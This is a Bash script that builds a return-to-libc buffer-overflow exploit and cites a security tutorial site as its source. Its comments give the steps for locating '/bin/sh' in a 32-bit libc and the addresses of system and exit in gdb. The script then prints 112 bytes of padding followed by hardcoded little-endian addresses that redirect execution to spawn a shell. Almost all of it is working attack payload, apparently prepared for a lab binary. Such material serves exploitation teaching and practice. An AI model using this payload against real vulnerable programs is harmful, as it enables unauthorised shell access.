31 lines
1.1 KiB
Bash
Executable file
31 lines
1.1 KiB
Bash
Executable file
#!/bin/bash
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# sources: https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/return-to-libc-ret2libc
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##### Exploit Creation Steps #####
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###################################
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# Step 1: Locate the offset of the string '/bin/sh' in libc
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# Command: strings -a -t x /usr/lib32/libc-2.31.so | grep /bin/sh
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# ---> 0x18c363
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# Step 2: Determine the base address of libc in the ret2libc environment using gdb
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# Command: info proc map
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# ---> 0xf7dd4000
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# Step 3: Find the addresses of 'system' and 'exit' functions using gdb
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# Commands:
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# p system -> 0xf7e15360
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# p exit -> 0xf7e07ec0
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###################################
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############ Exploit ##############
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# Fill the buffer with 'A's until the stored EIP is reached
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printf "A%.0s" {1..112}
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# Overwrite the stored EIP with the address of 'system' function
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# Place the address of 'exit' function as the return address for 'system'
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# Provide the argument for 'system' which is the address of the string '/bin/sh' (calculated as base libc + offset)
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# All addresses are in little-endian format
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printf "\x60\x53\xe1\xf7\xc0\x7e\xe0\xf7\x63\x03\xf6\xf7"
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###################################
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